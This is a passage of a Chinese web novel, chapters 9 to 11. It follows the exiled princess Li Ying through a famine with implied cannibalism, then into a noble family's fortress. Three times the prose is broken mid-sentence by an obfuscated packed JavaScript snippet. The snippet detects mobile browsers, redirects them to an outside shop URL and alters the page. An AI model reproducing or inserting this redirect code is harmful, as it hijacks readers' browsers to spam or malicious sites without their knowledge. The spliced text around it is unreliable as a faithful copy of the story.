它们落在焦黑的土地、枯败的草梗、流民肮脏的衣衫和茫然的脸孔上。 李瑛呆呆地望着,忽然伸出半截饥渴干裂的舌头,雪水融化了一点在她舌尖,凉丝丝的竟然还带着一点甜。 难道这冰清玉洁的雪花也含着他们的血吗? 她仰起头,望向灰蒙蒙的、不断洒落雪花的天空。 天要更冷了,她能活过这个大雪天吗? 他们能一起活过这个冬天吗? 她忽然想,天上的阿母知道她的儿女快要饿死了吗? 9. 第 9 章 李瑛没有再哭了。 她发现地上有个被马蹄压死的小虫子。 她转过头,看向身旁同样狼狈不堪的江稚水,“稚水,为什么,马踩死了虫子,虫子明明死了,马却不用偿命?” 江稚水一愣,他张了张嘴,想说什么,却发现无从答起。 虫蚁的生死,在这炼狱里,又有谁会在意? 然而,命运的讽刺在于没过多久,他们便亲眼目睹了马儿的偿命。 皇帝的銮驾虽已远去,但或许是为了彰显天子仁德的体现,或许是皇帝的确怜惜这些因他而颠沛流离的饥民。 李晟在得知前方流民塞道、饿殍遍野后,竟下令宰杀随行军马,分肉予民。 这道旨意马上遭到了随行大臣的激烈反对。 “陛下!军马乃战阵利器,国之储备,岂可为区区流民轻损!此例一开,军心动摇,恐生大患!” 但是最终,军士只目睹着三十匹精壮的军马被牵出。 屠刀落下时,那些曾驰骋沙场、随着军士披甲冲锋的牲口发出凄厉的悲鸣,它们接连倒下。 马肉被尽可能的剃干净,连骨头都被砸碎投入大锅中熬煮。 当李瑛的手颤抖着接过了这碗飘着油星的肉汤,肉汤顺畅地流进干瘪已久的胃袋,她很珍惜这种恍若隔世的暖意,小口小口地啜饮着。 她喝得不少,李瑛一动,汤水就在肚子里晃晃悠悠的,空了许久的胃并不习惯食物胀满的感觉,很快变成了尖锐的疼痛。 李瑛难过得佝偻起身体,她本能地干呕,一些混着胃里的酸水和汤水的秽物涌到了她嘴边。 但在它们即将离开口腔的刹那,李瑛猛地闭紧了嘴,反正也是水,她安慰着自己,咂咂嘴,肉味混着酸味又被她咽了下去。 真好啊,这就是肉的味道啊。 她真想天天都能吃肉。 李瑛和李瑗炖了一锅肉汤。 肉汤刚刚煮熟,热气腾腾的,在破陶碗里微微晃荡着,幽幽地亮着。 并没有调味的五辛来打搅它,那是一种肉香,最原始、最诚实的那种肉香。 “喝汤吧。”李瑛端着陶碗朝他笑,她的气色看起来好了许多。 少女饿得凹陷的脸颊似乎被某种东西填补了回来,虽不至于说是红润,但是和脸色青白的江稚水比起来要健康许多。 江稚水却像看到了什么可怕的东西,他神色狰狞,大叫起来,言辞激烈,“我不喝!” 李瑛哄着他,就像他从前哄她吃饭一样:“喝吧,再不喝,你怕是要饿死了。阿瑗已经喝了很多了,稚水听话,喝了吧,好喝的。” “我不喝!”江稚水哭了。 李瑛置若罔闻,低头吹了吹表面,复又递给他,“不烫了,可以喝了。” “喝饱了就有力气了,稚水乖,稚水不要怕,我和阿瑗都喝过了。”她喃喃自语。 李瑛耐着性子,又哄又劝,可江稚水只是流泪摇头,紧紧闭着嘴,仿佛那碗汤是什么穿肠毒药。 最后李瑛生气了,她死死扣住江稚水的下巴,迫使他张开嘴,另一只手端起碗,不管不顾地朝他喉咙里灌去:“喝!我让你喝!” 滚烫浑浊的汤水从江稚水嘴角溢出,他剧烈地呛咳,挣扎,眼泪流得更凶了。 李瑛使了蛮力,一碗汤到底是被她强硬地灌下去大半。 可刚一被松开,江稚水便扑到一边去抠嗓子眼,刚刚灌下去的汤水,连同胃里所剩无几的酸水,他全都吐了出来,一地狼藉。 李瑛站在他身旁冷冷地看着他呕吐,她不心疼,也不生气,好似与他是陌路人一样。脸上没有任何表情:“吐出来不要紧,我熬了一整锅。吐了,就接着喝。总能留下些。” “你必须得吃,我们要活下去,活下去啊,稚水。”李瑛流下了一行泪。 “我求你了,多少喝一些吧。” “如果你要恨,那就请恨我吧。”李瑛看着他,神情带着乞求。 江稚水喘息着抬起头,他打断了她,少年嘴角还挂着污迹。 他看向李瑛,眼神里第一次燃起了一种接近恨意的情绪,哪怕是在洛水河畔他被李瑛阻挠求死,他对于李氏皇族的怨恨,也没有今日半分浓烈。 江稚水流着泪,“你…你的心怎么这么黑?!你不要以为我不知道!我知道你和李瑗在背地里做些什么!这些肉到底是什么东西?你怎么能做出这种事情,你这个讨债的孽鬼!” “啪——!” 一记清脆响亮的耳光,狠狠抽在江稚水脸上,少年被她打得偏过头去,脸上迅速浮现出清晰红肿的指痕。 世界仿佛静了一瞬。 只留下江稚水的抽泣,以及李瑛剧烈地喘息声。 李瑛恨他这样说她,恨他用这样的眼神看她。 魏雪到掖庭后就得了疯病,她将对于李氏皇族的恨都发泄到了李瑛身上。 她总是压着她往死里恶狠狠地拧她的胳膊,拧她的面颊。 李瑛不是逆来顺受的人,她蹬踢着魏雪,魏雪不甘示弱,一个成年女人不可能制服不了一个十岁的孩子,她边打边换着花样地骂着的。 一字一语如刀绞,如剜心,“卑奴,贱婢,贱人,灾星。” 她骂的最多的就是,“讨债的孽种。” 李瑛很想装作不在意,但是她怎么可能真的不在意? 慕容明春是这样,魏雪是这样,如连江稚水也会这样吗? 她不许! 她绝不许! 但是等李瑛回过神来后,看着面前错愕的江稚水,少年不可置信地看着她,他在哭,心碎地哭。 李瑛无力地瘫软了身子,她最见不得江稚水如此,最见不得江稚水不说话,只是用他那双温和的鹿眼泪眼朦胧地看着她。 李瑛哀哀地哭泣着。 她伸出颤抖的手,捧住他的脸,“对不起,对不起稚水,是我错了,是我对你太凶了。” 李瑛将自己的唇贴上他火辣辣的面颊,她不停吻着江稚水的面颊,滚烫的泪水从她紧闭的眼里涌了出来,和江稚水脸上纵横的湿痕混在了一起。 江稚水那点刚刚燃起的恨意,很快就李瑛的悲切的眼泪淋湿熄灭了。 江稚水神情痴呆,呓语不断,“但是为什么是他们呢?为什么呢?” 他抓住李瑛细瘦的胳膊, 他伸出颤抖的手臂,环住了跪在地上的李瑛,俩人抱头痛哭。 那碗被打翻后又重新盛来的汤,江稚水最终喝了。 他闭着眼,咽了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185483|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 但汤底沉着的那块炖得发白的肉,他却无论如何咽不下去。 他看了很久,然后递到了李瑛嘴边。 李瑛看着他,看着那块肉,她的脸上是一种近乎超脱的平静,甚至带着一丝极淡的诡异的微笑。 她接过碗,张开了嘴。 那枚玉石戒指轻轻磕在碗壁上,发出“叮”地一声脆响。 咀嚼,吞咽,喉头滚动。 那枚玉石戒指在阳光照耀下流转出熠熠的光华。 江稚水静静地看着她吃完,眼神空茫,仿佛灵魂已经飘到了很远的地方,“黍米之恩尚未报,我却犯下如此孽债。” 他痛苦地以手掩面,不去看李瑛的戒指,流下眼泪,“我枉而为人。” 哀哉流1?,为?1??,为?1??。 李瑛看着那枚戒指,这枚曾经戴在卢香娘细皮嫩肉的手指上,曾经被它摩挲把玩的爱物,后来又赠给了那女人,戴在她粗糙黝黑的手指上。 李瑛看着她断了气,赶跑了她窝棚身边虎视眈眈想要争抢的婆子,这才又回到了李瑛的手上。 她是吃了有毒的狗肉和他男人一起病死的。 李瑛木然道,“剜却心头肉,医得眼前疮,先解决眼前之急症再说吧。” 我,李瑛,已经彻底厌倦得到别人的拯救了。 “若天上真有神仙菩萨,我死后当堕阿鼻地狱,不得超生。”江稚水捂住脑袋。 李瑛苦笑一声,“你我如今已然生不如死,还怕什么死后不得超生?” “你放心,这里是无人之境,是神仙菩萨看不到的地方。” “如果他们看得到,那那些冻死饿死病死的人又该如何解释?神仙无能吗?你的罪是可以在人间赎还的。”李瑛抬头望天,好似真的看见了金碧辉煌的天宫。 “怎么赎罪呢?”李瑗插话问,他的头发已经及肩,但是一直没有修理,蓬头垢面的,丝毫分辨不出他曾经是一个清俊灵秀的少年沙弥。 李瑛道:“人世苦海无边。” 是啊,活着就是赎,人受的每一分苦,都是在还,还清了,就解脱了。 李瑛紧紧地盯着他,“若世间真的有因果相续,那就报应在我身上吧,我愿意承受我所做的一切的代价。” 因果我背,报应我受。 “我发过誓的,以我自己的命发过誓,无论我了做什么,无论要背负多大的罪孽,承担多沉重的后果。” 假使千百劫,所作业不亡,因缘会遇时,果报还自受。 李瑛虔诚着,她双手合十,向菩萨发愿,“我愿意承受一切后果,但是前提是漫天神佛都要下凡,承担一遍我所受的所有痛楚。” 哀哉流?,朝不敢保夕,暮不敢保晨。 承安十二年隆冬,城外瘴疫,复值寒雪,草木不华,士卒离散,永脚指断落,民多饿死,路有僵尸,惨绝人寰。 李瑛在这个冬天不停地在打猎,他们三人也就是靠这个才撑过了严冬的。 好在今年的春来的不算迟,李瑛从未如此刻骨地喜爱过春天,当第一点绿色颤巍巍地破出被白雪覆盖的灰黑土地时,她激动得几乎要落下泪来。 李瑛知道她有救了,他们都有救了,他们都能活下去了。 10. 第 10 章 通往雍州的路,漫长而崎岖,官道早已被溃兵、流民和荒草侵蚀得难以辨认。 他们更多时候只能在野地、山坳间艰难穿行。 比起数月前刚从洛都那尸山血海中逃出时,他们虽前途茫茫、心惊胆战,但至少劫后余生,心情阔达,能够彼此玩笑支撑。 江稚水的话越来越少,眼神常望着虚空,这段路途只剩下无休止的跋涉。 有的时候真的就是这样子,人一倒霉了,就会一直倒霉,但是等到行到山穷水尽之时,又会柳暗花明又一村。 转机竟悄然而至,等终于离开那片绝望之地后,李瑛寻了个偏僻集镇,想要当卖那尊小金佛。 她不是傻子,如今他们流亡在这鸟都不拉屎的穷乡僻壤,若骤然出手一尊完整的金佛,也太过于惹眼。 简直是怀璧其罪,跟在脑袋上贴着“我很有钱,快来坑我抢我”没有半分区别。 特别是在江稚水被人掉包了黍米,虽然李瑛没有埋怨他,但是三人其实都知道,如果那袋黍米在,他们不会那么早就走入后来如此山穷水尽的地步。 更何况在这粮食比金子金贵的荒年,店家未必肯给足价,就算是愿意,他也未必拿得出那么多现钱和粮。 李瑛费了好大劲儿才把那尊金佛的佛手给掰了下来,她换了三件半新不旧的男装棉服。 男装棉服虽然样式老土,也不是新裁的,但是里头货真价实的丝绵让李瑛穿上了,就再也舍不得脱下。 她平静地想,自己从前穿过那么多的绫罗绸缎,哪怕是蜀锦吴绫,她也从不在意,那时的自己会想到十三岁的自己有朝一日会为一件典卖来的棉袄幸福得热泪盈眶吗? 临走的时候,她又给江稚水多买了件新的裤褶。 典卖行的伙计很不解,问道,“小郎君买了新的棉裤褶,怎么不给自己买件新棉服?” 李瑛本就生得男女莫辨,如今粗服乱头,一路上被不少人都认成了他们是兄弟三人。 她没有回答那伙计的话,对着那人轻轻笑了笑,她是知道江稚水的隐痛。 剩下的钱李瑛付了五日的客栈。他们一致决定在此地好好休整一下,再做打算。 当李瑛的脚趾第一次触碰到热水的时候,那种滚烫又温和的包裹感几乎让她感动得落下泪来。 她用力搓洗着已经变色的皮肤,指甲缝里的泥垢,头发里的草屑土粒。 她换了五六桶水才感觉自己真正洗净了身子,等到最后换上干净崭新的粗布衣裳时,她疲惫的身体竟有种陌生的轻盈感。 略粗的布料摩擦着洗净的娇嫩皮肤,微微的发痒,竟有些恍若隔世之感。 三人又狠吃了一顿。 客栈堂食的乌木桌旁,李瑛看见了一对与众不同的姐弟。 他们衣着样式简朴,但料子是极好的细绢,行动间举止文雅,与周遭粗砺环境格格不入,身旁有几个精壮仆从警惕地护卫左右。 就连吃食的也是由身边的仆妇从后厨呈上来的,一看就是她们亲自做的,只是借用了客栈的厨房罢了。 身边两名中年妇人时时随侍,看着这对已然算是生活优渥的姊弟满眼心疼,显然是他们的保姆。 如今天下大乱,李晟还在苦战,洛都战况未明。 雍州天高皇帝远,既不归王氏管,也不归李氏管,自成一方天地,汉胡混杂,秩序微妙,城内尚有军队维持,城外却难免龙蛇混杂。 李瑛敏锐地察觉,有几个做胡商打扮的汉子,眼神总在那对姐弟的行李上打转,意图不善。 不过好在那几个胡人势单力孤,似是随部落商队出来捞偏门的,不足为惧,但足够添乱。 李瑛没有立刻出声警示。 她冷静地等待着,直到夜深人静,那几名胡人果然动手,悄悄摸走了姐弟车队一只箱子。 这时李瑛才现身,她不惧那几位吹胡子瞪眼睛的守卫,找到那管家模样的中年男子,低声告知盗贼去向与形貌。 管家大惊,连忙带人追索,果然在人赃并获的边缘将箱子抢回,免去大失。 他也是奴婢,差点弄丢了主人家的东西,他虽不至于被打骂变卖,但是到底也在小主人面前得了没脸,自是千恩万谢。 管家心里也很苦,他们本是洛都一个不起眼的宋氏世家旁支,因男主人开罪了王氏,遭逢大难。 宋氏满门几乎凋零,只勉强护住这对年幼的姐弟,携着女主人生前部分嫁妆,欲前往雍州投靠舅家避难,一路上战战兢兢,如履薄冰。 因这番援手,李瑛三人得以面见那位宋姓女郎。 她姓宋,名敏娇,约莫十六七岁,容貌清丽,眉宇间带着劫后余生的惊惶。 她问:“女郎援手之恩,妾铭记在心,不知想要何物为谢?” 李瑛垂下眼,姿态恭谨:“不敢求女郎厚赏。我等亦是往雍州方向去,路途不靖。” 李瑛行叉手礼道,“只求女郎允我等随行,侍候在侧。” 她抬起眼眸,清静如水,“请借车队一隅之地,求得些许庇护,同赴雍州。” 宋女郎略一思索,看着眼前虽衣衫简朴却眼神清亮的李瑛,又瞥见清俊的江稚水和李瑗,欣然应允:“一路同行,也好有个照应。” 自此,李瑛三人便加入了这支队伍。 宋敏娇,人如其名,聪慧机敏,与李瑛有几分投缘,她虽然有些小姐架子,倒也不算刻薄难缠。 李瑛便也顺水推舟,总是有意无意地示弱,这一收一放之间,两人相处起来,反倒生出几分真切的融洽来。 宋敏娇喜欢听李瑛唱歌解闷。 李瑛也不推辞,这是逃亡路上一位老翁在教给她的三秦民谣。 她没有遗传到慕容明春能歌善舞的胡人基因,唱得歌没有一句在调上,但少女嗓音清越,也别有一番风味。 "武功、太白,去天三百。孤云、两角,去天一握。山水险阻,黄金、子午。蛇盘、乌栊,势与天通。"李瑛轻轻拍手,打着拍子。 宋敏娇佯装受不了地捂住耳朵,“这哪是女儿家该唱的词儿,硬邦邦的,硌得人耳根子疼。” 可笑着笑着,她看着李瑛,竟感受到种别样的力量,这样的歌曲与她平日听惯的吴侬软语、笙歌管弦竟全然不同。 直到王氏撩帘进来,才打断了这有些奇异的氛围。 “二位女郎,奴婢方才下车买了些樱桃,拿熟水细细洗过了,如今正是吃樱桃的好时节呢。” 王氏笑吟吟地捧上一只青瓷小碗,里面装这些红玉般的果子,上头还挂着剔透的水珠。 她一边麻利地替宋敏娇择去果柄,一边拿眼风悄悄打量李瑛。 她越看越喜,笑意越浓,“李家女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185484|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎容貌好,性情好,女郎的兄弟也是极好相处的,尤其是那位江郎君,言谈举止,真真是清风朗月般的人物。真是让人爱的,不知道该怎么样才好。” "还有女郎的阿弟,法师高徒,年纪小小,却如此精通佛法,为我们这些愚钝之人解惑,奴婢等深深受用,句句都说在心坎上,此真乃神童是也。” 江稚水讨人喜欢这她是知道的,可这李瑗这个平日眼高于顶,八竿子打不出一个屁的,如今竟也转性了?也愿意同别人攀谈了? 王氏慢慢帮宋敏娇梳理发髻,说道,“等咱们回了家,老妇人怜贫惜弱,最喜欢伶俐聪慧的少年,不晓得老夫人看见这两位郎君得爱成什么样才好。” 李瑛抬起头,唇瓣微动,想说什么。 宋敏娇却先一步开口,“对了,今晨匆忙,还未同你细说。我父母子息单薄,只我与阿弟两人。” 她玩弄着腕子上的玛瑙珠子,漫不经心道,“只是我是嫡出,我阿弟则是阿姨所生的庶出,年纪又小,素来与我说不上什么话。” “我从小也没什么姊妹同我一起嬉笑玩乐。”她眼波流转,落在李瑛脸上,娇俏万分,“见着你,倒觉投缘,有一见如故之感。” 李瑛不太自在地眨了眨眼。 宋敏娇执起李瑛的手,亲热道,“我欲带你同回舅家,你可愿意?” 察觉到李瑛的冷淡与沉默,她顿了顿。 少女白皙水嫩的指尖捻起一颗樱桃,却不吃,只瞧着那抹鲜艳的红色,话里透着娇憨与笃定:“跟着我难道不好么?等到了我舅家,虽在明面上我们是主仆之分,但你并非贱籍,私底下,我们还如今日这般相处。” 她骄傲地扬起脑袋,“我舅家是坞堡堡主,家资丰饶,乃雍州地界上说得上话的豪强。待你及笄,风风光光出嫁,我舅家也定不吝添妆,全你体面。” 她将樱桃放入口中,随即轻轻“嘶”了一声,黛眉蹙起,“这樱桃也太酸了,不过看着这樱桃我倒想起来了从前总是吃的樱桃酥酪了。” 王氏立刻会意,接口道:“女郎这一说,奴婢也想起来了。咱们董郎君来洛都办事,带着一个厨娘,她手艺极好,极擅制各色酥酪甜羹。” 她笑了笑,“奴婢托主家的福,也曾尝过几回,那味道……唉,至今想起,齿颊犹有余香呢。” 宋敏娇与王氏交换了一个心照不宣的眼神,扬起眉毛:“说起这个,我舅家倒真有一位庖厨,因雍州胡汉杂处,她尤其擅长甜食蜜饵,手艺堪称一绝。” 她看向李瑛,“雍州胡商众多,胡人好甜食,他若能收你为徒子,再有一手烹任之技,何愁没有立身之地?” 李瑛有些心动,后半句什么“风风光光出嫁”,于李瑛听来,不过是浮在空中的锦绣烟雾,她全然不在意。 只是哪怕到了雍州,她也不准备靠着那尊金佛过一辈子,还是要寻个营生,有一门手艺傍身。 毕竟乱世也罢,盛世也好,人总要吃饭。富贵人家食不厌精,脍不厌细,处处是学问。 若能在这里窥得门径,哪怕只学得三五分真传,也强过在外头寻常食肆从剥葱捣蒜做起。 说实话,在这兵荒马乱的时代,李瑛认真的觉得哪怕是为人佃奴,受人差遣,也比作为流民冻死饿死要好。 而李瑛的这份盘算,竟与宋敏娇的心思隐隐相合。 11. 第 11 章 宋敏娇笑而不语。 她心里是这样想着的,舅家生意涉及胡人,而那日李瑛帮她追回箱子,便能看出此女郎不仅通晓胡语,而且为人赤诚,古道热肠。 她看着李瑛垂眸的样子,越看越觉得她容貌清秀可爱,但是却年纪尚小,这种清丽恰恰好,不致于狐媚背主,也不至于丑陋到惹人生厌。 宋敏娇仓促狼狈离开洛都,王氏虽衷心当是已年老体衰,精力不济,剩下的人都是宋家的奴婢。 阿弟是男丁,是阿父唯一的儿子,宋家的奴婢对阿弟要比对她上心的多。 等到了舅家,那必是两眼一抹黑。 宋敏娇心想,她若能收服李瑛,慢慢察看其心性能力,日后说不定日后她能成为她的左膀右臂。 宋敏娇慢慢地摇着刀扇,掩住自己唇角的笑意,所谓学艺,眼下不过是留住她的由头,日后如何,且走且看。 李瑛其实心下已肯了七八分,但是面上仍还是要做出犹豫的神色,推脱一下,不至于目的太明确,李瑛咬着嘴唇,低头沉默不语, 她做出一副自己做不了主的样子,“我还得问问我阿兄阿弟的意思才是。” 宋敏娇拿刀扇在她头上不轻不重得拍了一下,“还在装?你阿兄是一贯唯你马首是瞻的,两只眼睛全在你身上,好似生怕我们吃了你一样。” 听了这话,李瑛心里一股暖流涌过,她眼睫微动,终是忍不住,噗嗤一笑。 她 宋敏娇如猫儿一样眯起眼睛,“你放心,昨日我们就已征得你阿兄阿弟的同意了。” 李瑛惊讶道,“我阿弟他一贯执拗,不知女郎是用何办法说动了他。” 宋敏娇笑得眉眼弯弯,抚掌道:“这有何难?我只说,我外祖母是位极虔诚的居士,几十年来晨昏诵经,斋戒不断,便是府中婢仆,也多受感化,持斋念佛者甚众。阁中收着不少孤本典籍,连一些西域传来的佛经原典都有,我与他一说,你阿弟当时便合掌称善,再无二话了。” 李瑛无语地握起了拳:失算了 他们是七日之后到的乌堡。 李瑛何等机敏,王氏那这几日常常一副欲言又止的神情,宋敏娇也是焦躁非常,时而兴奋,时而暗自达到。 她早已猜出,宋氏这一行人此行,绝非寻常投奔。 李瑛猜的一点也不错,宋敏娇此来投奔的真实目的,便是为了能够与乌堡堡主之长子董牧川完婚。 而这董牧川也正是宋敏娇的嫡亲表哥。 车内,安神香袅袅萦绕,王氏忍不住用袖子掖了掖眼角:“我的女郎啊,昔年两家虽有过结亲的口头之约,总以为来日方长,不曾急急落定文书。” 她眼睛发红,“可是如今、如今咱家一招横祸,这般前来投奔,老身这心里日夜悬着,就怕、就怕董小郎君变了心意。” “住口!”宋敏娇蓦地低叱一声。 她精致的下颌线绷紧了,烦躁的打断了王氏的话,“他亲口应承过我,他说过他的正妻之位,总会为我留着的。” 她语气漂浮,手却无意识地绞紧丝帕,“表哥不是背信弃义之徒。” 等到牛车碾过最后一段夯土路,停在两扇巨大的包铁楠木门前,李瑛才真切体会到宋敏娇所说的“家资颇丰”四字的分量。 这哪里是寻常坞堡? 一李瑛仰起头边看到几栋高耸的望楼,楼上隐约可见几个精壮部曲巡逻的身影。 同时进出两侧廊庑下肉眼可见就拴着几十匹膘肥体壮的骏马。 这董氏在当地别说是地方豪族,俨然是个说一不二的雍州土皇帝。 他们一行前几日已遣管家快马送信,堡中早得了消息。 王氏一路惴惴,怕他们势单力薄,要受冷遇。 没成想,马车刚停稳,堡门便隆隆洞开。 只见一位中年妇人被簇拥在中间,颇有些罗绮丛中存大雅的意味,想来便是董郎君正妻杨夫人。 她身侧及身后,还跟着几位穿戴不俗、珠翠环绕的妇人,并一众垂手侍立的婢女仆妇,竟是一大群人都候在门口,颇有架势。 宋敏娇透过车窗缝隙瞥见那么多乌压压的人,轻嗤一声,“当真是没有规矩极了,我与他们家有亲,倒也算是外客,竟如此不懂规矩,竟然让妾室来迎我。” 王氏脸色微白,害怕被外头听到,忙低声劝慰:“女郎且忍忍,到底是……” 李瑛早已略整理了一下衣襟,垂首敛目,扮足了本分老实奴婢的模样。 待到车停稳,李瑛先一步利落地跳下车,摆好踏脚凳,伸手去扶宋敏娇。 袖袂拂动间,宋敏娇悄然在她手心轻轻一按,旋即扬起一张明媚却矜持的笑脸,盈盈道,“舅母。” 杨夫人已迎了上来,她擦了擦眼角并不存在的眼泪,声音也带着哽咽,“一路受惊了吧?我苦命的孩子。” 宋敏娇很给面子的顺势伏在杨夫人肩头,柔柔哭泣道:“舅母……” 情真意切,仿佛真是受尽委屈的孩童见了至亲。 两人就这般在坞堡大门前,一个怜惜哀叹,一个孺慕低泣,往来交锋了数个回合。 直到杨夫人似乎有些疲了,才适时收住,她拉过身边一个约莫七八岁、衣着华贵的小郎君,笑道:“快,见过你宋家阿姊。” 二人见了礼,王氏连忙又把宋敏娇之弟抱了出来,几人又叹息了一番。 宋敏娇目光扫过杨夫人身后那几位一直低头的貌美女子,刻意恍然道:“舅舅家人丁兴旺,这些是我的姊姊吗?生得好生俊俏。” 杨夫人尴尬道,“你几个表姊早已陆续出嫁,如今家里的孩子,也就就剩我生的这两个皮猴儿了。” 杨夫人话锋一转,眼风慢悠悠地掠过后面的箱笼,自嘲道,“我们芥荳之微,小小一个人家,处处粗糙,比不得咱们娇儿自小长在洛都绮罗丛中,只怕要委屈你了。” 这般软中带刺,宋敏娇只作听不懂,到底年轻,沉不住气,左右顾盼一下,问道:“怎不见董家表兄?” 杨夫人拢在阔袖中的手几不可察地紧了一下,脸上笑意未减,内心冷笑:“他呀,正跟着他父亲料理些外头事务。 “娇儿今日初到,车马劳顿,先好生歇息。晚间设了家宴,再见不迟。你舅舅可是念叨你许久了。”她推脱道。 待到一行人被引往客院安置,身影消失在曲折廊庑后,杨夫人脸上那团和气的笑容才逐渐褪去。 她扶着贴身婢女碧霞的手臂转身往回走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185485|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“小时候瞧着她便不甚出挑,如今看来,连身边那个不知哪儿冒出来的婢女,气度都能压她一头。” 她顿了顿,想起那个一直沉默跟在宋敏娇弟弟身后的光头小童,嘴角撇了撇,“她那个弟弟,也是畏畏缩缩的,和兔子似的。我起初还以为那光头小子是她弟弟呢。” 行至院中,到处是垒石成山,引水为沼,亭台参差,花木芬芳。杨夫人停下脚步,目光落在一株海棠树上,眼神倏地冷了下来。 “从前她阿母未出阁时就尤其看不上我,结果怎么样?”杨夫人笑着问碧霞。 碧霞讨好地笑了笑,“您是咱们董家坞堡当家做主的女主人,而她早就是一具枯骨,还是被王氏的兵士用白绫勒死的,晦气死了。” 杨夫人狠狠掐断了一枝最鲜嫩的绿芽,掷在地上,“我成了这里的夫人,生了能继承家业的儿子。她呢?就得了这么个毛丫头。” 杨夫人盯着那截断芽,声音从齿缝里渗出来,带着森然的寒意:“如今,她的女儿竟然指望我松口,允许她嫁给我儿?” 她缓缓碾过地上的断芽。 “想都别想。” 宋敏娇的院子叫做锦绣阁,顾名思义,房内陈设繁琐豪华,那是一座不大不小的客房。 李瑛刚手忙脚乱地安顿下,门外便响起一片细碎的脚步声。 杨夫人身边的奴婢碧霞领着七八个手捧檀木托盘的侍女鱼贯而入 托盘上层层叠叠,尽是珠翠绫罗,光晕流转间,几乎要晃花了人的眼。 宋敏娇是个人精,朝着身旁一直垂首傻笑的王氏抬了抬下巴 王氏心领神会,从袖中摸出几块早已备好的碎银子,上前几步,往碧霞手里不动声色地一塞。 碧霞心里看不上这些银子,她就是晚上吃酒划拳也比这个多许些,面上仍做出受宠若惊的样子。 碧霞反手从最上面的托盘里,拈起一枚光华璀璨的红宝石戒指。 她笑吟吟地执起宋敏娇的手,“夫人特意交代,这枚戒指是她当年嫁过来时,夫人的阿姊送给夫人的陪嫁。夫人说她自己年纪渐长,不喜这些了,送给女郎把玩正合适。” 她捉住宋敏娇的手,赞叹道,“只有女郎这水葱似的手指,才能与这等鲜亮颜色相得益彰。” 戒指套上宋敏娇的中指,宝石殷红如血,衬得她指尖愈发苍白。 宋敏娇垂眸看了看,笑意深了些,声音又软又甜:“舅母这是哪里话?今日我看舅母气度,满院的奴婢妾室,没一个及得上舅母万一的雍容。” 碧霞心里想着,挑了挑眉,这还要你说? 碧霞笑道,“夫人还让奴婢来传话,热水业已备好,女郎一路劳顿,先好生松松筋骨。待到晚间家宴,小郎君会来向郎君和夫人请安呢。” 听到“小郎君”三字,宋敏娇这才如梦初醒。 等碧霞退下后,她脸上的笑容一点点垮下来,只剩下深深的疲惫。 她招呼着正在角落与几个粗使婢女一同归置箱笼的李瑛,“过来。” 李瑛依言走近,宋敏娇随手拨弄着妆台上那些送来的首饰。 金钗玉簪互相碰撞,发出些细碎的冷响。 “你瞧这些里头,我戴哪个好看?”